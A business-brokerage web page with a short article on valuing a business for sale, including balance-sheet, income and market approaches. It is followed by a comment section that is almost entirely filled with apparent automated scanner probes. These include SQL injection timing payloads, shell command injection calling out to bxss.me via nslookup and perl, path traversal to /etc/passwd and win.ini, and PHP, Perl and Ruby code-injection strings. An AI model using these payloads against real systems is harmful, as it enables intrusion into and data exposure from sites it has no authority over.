New Zealand

Sell a Business

How to Value Your Business

Published on 11/11/2014

As a business owner considers placing his or her company on the market, ascertaining the proper value for the company is critical. Too often the owner assigns an unrealistic and unachievable arbitrary value then proceeds into the sale process only to be disappointed with the market’s response. As a result, the asking price is reduced several times. During this unfortunate period buyer prospects and valuable time is lost.

 

In truth, a company’s value is determined by a compilation of factors such as the company’s sales, earnings, performance, market outlook, personnel, net book value and fair market replacement value of equivalent operating assets. But it can also be influenced by intangible assets like the company’s image, reputation and goodwill.

 

There are several approaches to valuing your business.

 

Balance Sheet Value

 

There are several balance sheet valuation methods, including adjusted book value, book value and liquidation value. The adjusted book value is determined by revising the asset’s book value to reflect the cost it would take to replace the assets in their current condition. This method requires the total values to be offset against the sum of the liabilities.

 

The book value considers the figures from the company’s financial records, as depreciated at the time of the sale. The book value can pose some difficulties for sellers, particularly if the seller has depreciated the assets too much to gain prior tax advantages.

 

The liquidation value is the amount that could be realized if all assets – equipment, furnishings and inventory – were sold separately. This value is typically much lower since it doesn’t consider a company’s intrinsic value.

 

Income Approach

 

The income approach takes into consideration the company’s level of earnings using a capitalization rate, discount rate or multiplier. Several income approach methods are frequently used. Each method requires a level of earnings and a conversion factor to translate the earnings into a company value. Selecting the proper level of earnings – after-tax, pretax, discretionary or cash flow – and matching it with the proper conversion factor – discount rate, cap rate or a multiplier – is critical to calculating a reasonable value.

 

Market Approach

 

The market approach sets a value based on the values of other businesses that have been sold. Setting the market value involves researching the sale prices for similar businesses in a geographic area. In some cases, however, finding a company that is similar in many ways to your company may be difficult.

 

Whatever your goal, you want a good advisor to help you assess the value of your company. Question your advisor on the effects of deal structure and how multiples are used. A business owner should never accept a computer-generated valuation or a one-size-fits-all approach when selling the business. And don’t be impressed by the person who presents the highest value – you may only be setting yourself up for failure during the sale process.

 

You can approach a professional business broker for that.

 

Leave a comment
Your Name*
Mobile Number*
Email*
Your comment*



Comments

anonymous
ganesh
14/07/2017
hi we have a mini mart for sale 2yrs lease with contract take over fee 12k including stock good business place the shop rental 1500 only sqft-300

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
1Yb0GkVcO
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
/../../../../../../../../../../windows/system32/BITSADMIN.exe
19/07/2021
e

anonymous
pHqghUme
19/07/2021
1xb30dVtO

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
response.write(9180843*9052045)
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
'+response.write(9180843*9052045)+'
19/07/2021
e

anonymous
pHqghUme
19/07/2021
/../../../../../../../../../../windows/system32/BITSADMIN.exe

anonymous
"+response.write(9180843*9052045)+"
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
response.write(9700206*9304636)

anonymous
pHqghUme
19/07/2021
'+response.write(9700206*9304636)+'

anonymous
pHqghUme
19/07/2021
"+response.write(9700206*9304636)+"

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
c3GcR9m4
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
wMOW7m6E

anonymous
pHqghUme
19/07/2021
e

anonymous
&echo wavxaf$()\ bwjrvd\nz^xyu||a #' &echo wavxaf$()\ bwjrvd\nz^xyu||a #|" &echo wavxaf$()\ bwjrvd\nz^xyu||a #
19/07/2021
e

anonymous
|echo xxlqrw$()\ ufyerf\nz^xyu||a #' |echo xxlqrw$()\ ufyerf\nz^xyu||a #|" |echo xxlqrw$()\ ufyerf\nz^xyu||a #
19/07/2021
e

anonymous
(nslookup hituuelmegyrp87f37.bxss.me||perl -e "gethostbyname('hituuelmegyrp87f37.bxss.me')")
19/07/2021
e

anonymous
$(nslookup hitaqjsmvmjva8b731.bxss.me||perl -e "gethostbyname('hitaqjsmvmjva8b731.bxss.me')")
19/07/2021
e

anonymous
&(nslookup hitwmitoywlux43493.bxss.me||perl -e "gethostbyname('hitwmitoywlux43493.bxss.me')")&'\"`0&(nslookup hitwmitoywlux43493.bxss.me||perl -e "gethostbyname('hitwmitoywlux43493.bxss.me')")&`'
19/07/2021
e

anonymous
|(nslookup hitlskiyjnfyo060ca.bxss.me||perl -e "gethostbyname('hitlskiyjnfyo060ca.bxss.me')")
19/07/2021
e

anonymous
`(nslookup hitdzkbzpjezga8e5c.bxss.me||perl -e "gethostbyname('hitdzkbzpjezga8e5c.bxss.me')")`
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
../../../../../../../../../../../../../../etc/passwd
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
../../../../../../../../../../../../../../windows/win.ini
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
../pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
VFU0n8Bv
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
-1 OR 2+181-181-1=0+0+0+1 --
19/07/2021
e

anonymous
-1 OR 2+213-213-1=0+0+0+1
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
-1' OR 2+596-596-1=0+0+0+1 --
19/07/2021
e

anonymous
pHqghUme
19/07/2021
echo dqpnps$()\ ycklfu\nz^xyu||a #' &echo dqpnps$()\ ycklfu\nz^xyu||a #|" &echo dqpnps$()\ ycklfu\nz^xyu||a #

anonymous
pHqghUme
19/07/2021
e

anonymous
-1' OR 2+200-200-1=0+0+0+1 or 'QxIJmhuk'='
19/07/2021
e

anonymous
pHqghUme
19/07/2021
&echo tevjbp$()\ suuztx\nz^xyu||a #' &echo tevjbp$()\ suuztx\nz^xyu||a #|" &echo tevjbp$()\ suuztx\nz^xyu||a #

anonymous
pHqghUme
19/07/2021
e

anonymous
-1" OR 2+210-210-1=0+0+0+1 --
19/07/2021
e

anonymous
pHqghUme
19/07/2021
|echo dfzqcy$()\ jkvidw\nz^xyu||a #' |echo dfzqcy$()\ jkvidw\nz^xyu||a #|" |echo dfzqcy$()\ jkvidw\nz^xyu||a #

anonymous
pHqghUme
19/07/2021
e

anonymous
if(now()=sysdate(),sleep(15),0)
19/07/2021
e

anonymous
pHqghUme
19/07/2021
(nslookup hitxchcalnijr8e44d.bxss.me||perl -e "gethostbyname('hitxchcalnijr8e44d.bxss.me')")

anonymous
pHqghUme
19/07/2021
e

anonymous
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
19/07/2021
e

anonymous
pHqghUme
19/07/2021
$(nslookup hitnfwmftbazx5a239.bxss.me||perl -e "gethostbyname('hitnfwmftbazx5a239.bxss.me')")

anonymous
pHqghUme
19/07/2021
e

anonymous
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
19/07/2021
e

anonymous
pHqghUme
19/07/2021
&(nslookup hitmamfpdukpsea7c1.bxss.me||perl -e "gethostbyname('hitmamfpdukpsea7c1.bxss.me')")&'\"`0&(nslookup hitmamfpdukpsea7c1.bxss.me||perl -e "gethostbyname('hitmamfpdukpsea7c1.bxss.me')")&`'

anonymous
pHqghUme
19/07/2021
../../../../../../../../../../../../../../etc/passwd

anonymous
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
19/07/2021
e

anonymous
pHqghUme
19/07/2021
../../../../../../../../../../../../../../windows/win.ini

anonymous
pHqghUme
19/07/2021
|(nslookup hitcahespdyfsbb259.bxss.me||perl -e "gethostbyname('hitcahespdyfsbb259.bxss.me')")

anonymous
1 waitfor delay '0:0:15' --
19/07/2021
e

anonymous
pHqghUme
19/07/2021
`(nslookup hitsdecncarue8c29b.bxss.me||perl -e "gethostbyname('hitsdecncarue8c29b.bxss.me')")`

anonymous
pHqghUme
19/07/2021
e

anonymous
uo4O5MON'; waitfor delay '0:0:15' --
19/07/2021
e

anonymous
pHqghUme
19/07/2021
;(nslookup hitdsnkkujrrx234e9.bxss.me||perl -e "gethostbyname('hitdsnkkujrrx234e9.bxss.me')")|(nslookup hitdsnkkujrrx234e9.bxss.me||perl -e "gethostbyname('hitdsnkkujrrx234e9.bxss.me')")&(nslookup hitdsnkkujrrx234e9.bxss.me||perl -e "gethostbyname('hitdsnkkujrrx234e9.bxss.me')")

anonymous
pHqghUme
19/07/2021
../e

anonymous
q79733DQ'); waitfor delay '0:0:15' --
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
VsySG4hT')); waitfor delay '0:0:15' --
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
2Tl9LaI1' OR 553=(SELECT 553 FROM PG_SLEEP(15))--
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
2fWB30G5') OR 835=(SELECT 835 FROM PG_SLEEP(15))--
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
HAaRT1FI')) OR 149=(SELECT 149 FROM PG_SLEEP(15))--
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
1'"
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
@@L4ZpJ
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
${9999006+9999788}
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
${9999100+9999156}

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
aXBCZ0dYWlA=
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme&n964543=v999667
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e&n980396=v986086

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
19/07/2021
e

anonymous
1some_inexistent_file_with_long_name%00.jpg
19/07/2021
e

anonymous
Http://bxss.me/t/fit.txt
19/07/2021
e

anonymous
http://bxss.me/t/fit.txt%3F.jpg
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
bxss.me
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
)
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
!(()&&!|*|*|
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
^(#$!@#$)(()))******
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
-1 OR 2+580-580-1=0+0+0+1 --

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
-1 OR 3+580-580-1=0+0+0+1 --

anonymous
pHqghUme
19/07/2021
)

anonymous
pHqghUme
19/07/2021
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

anonymous
pHqghUme
19/07/2021
-1 OR 2+485-485-1=0+0+0+1

anonymous
pHqghUme
19/07/2021
!(()&&!|*|*|

anonymous
pHqghUme
19/07/2021
1some_inexistent_file_with_long_name%00.jpg

anonymous
pHqghUme
19/07/2021
-1 OR 3+485-485-1=0+0+0+1

anonymous
pHqghUme
19/07/2021
^(#$!@#$)(()))******

anonymous
pHqghUme
19/07/2021
Http://bxss.me/t/fit.txt

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
http://bxss.me/t/fit.txt%3F.jpg

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
bxss.me

anonymous
pHqghUme
19/07/2021
-1" OR 2+902-902-1=0+0+0+1 --

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
-1" OR 3+902-902-1=0+0+0+1 --

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
if(now()=sysdate(),sleep(15),0)

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
1 waitfor delay '0:0:15' --

anonymous
pHqghUme
19/07/2021
JBKQb0wJ'; waitfor delay '0:0:15' --

anonymous
pHqghUme
19/07/2021
cshGWb7j'); waitfor delay '0:0:15' --

anonymous
'.gethostbyname(lc('hityh'.'pfbjnljk792c5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(86).chr(118).chr(78).'
19/07/2021
e

anonymous
pHqghUme
19/07/2021
uxHtZ50I')); waitfor delay '0:0:15' --

anonymous
pHqghUme
19/07/2021
eyANu43q' OR 305=(SELECT 305 FROM PG_SLEEP(15))--

anonymous
".gethostbyname(lc("hityg"."gwfjrraf0d9c8.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(80).chr(104).chr(90)."
19/07/2021
e

anonymous
pHqghUme
19/07/2021
Lep3PSQR') OR 404=(SELECT 404 FROM PG_SLEEP(15))--

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
kwBfziCp')) OR 56=(SELECT 56 FROM PG_SLEEP(15))--

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
1'"

anonymous
pHqghUme
19/07/2021
e

anonymous
HttP://bxss.me/t/xss.html?%00
19/07/2021
e

anonymous
pHqghUme
19/07/2021
'.gethostbyname(lc('hitgu'.'dxswrzomff5fe.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(71).chr(109).chr(67).'

anonymous
pHqghUme
19/07/2021
@@apTlv

anonymous
bxss.me/t/xss.html?%00
19/07/2021
e

anonymous
pHqghUme
19/07/2021
".gethostbyname(lc("hitkh"."qiwnvlay23101.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(89).chr(99).chr(78)."

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
HttP://bxss.me/t/xss.html?%00

anonymous
';print(md5(31337));$a='
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
";print(md5(31337));$a="
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
bxss.me/t/xss.html?%00

anonymous
${@print(md5(31337))}
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
${@print(md5(31337))}\
19/07/2021
e

anonymous
"+"A".concat(70-3).concat(22*4).concat(121).concat(70).concat(115).concat(85)+(require"socket" Socket.gethostbyname("hitri"+"pmhgynku4735d.bxss.me.")[3].to_s)+"
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
'.print(md5(31337)).'
19/07/2021
e

anonymous
'+'A'.concat(70-3).concat(22*4).concat(109).concat(87).concat(118).concat(79)+(require'socket' Socket.gethostbyname('hitno'+'qokazupw60e5c.bxss.me.')[3].to_s)+'
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
19/07/2021
e

anonymous
pHqghUme
19/07/2021
"+"A".concat(70-3).concat(22*4).concat(100).concat(89).concat(116).concat(73)+(require"socket" Socket.gethostbyname("hitwl"+"uhwdgirr63dfe.bxss.me.")[3].to_s)+"

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
'+'A'.concat(70-3).concat(22*4).concat(119).concat(84).concat(113).concat(65)+(require'socket' Socket.gethostbyname('hitxh'+'wcppplxv1e892.bxss.me.')[3].to_s)+'

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
/xfs.bxss.me
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
/xfs.bxss.me

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
e

anonymous
pHqghUme
19/07/2021
';print(md5(31337));$a='

anonymous
pHqghUme
19/07/2021
e

anonymous
'"
19/07/2021
e

anonymous
pHqghUme
19/07/2021
";print(md5(31337));$a="

anonymous
pHqghUme
19/07/2021
e

anonymous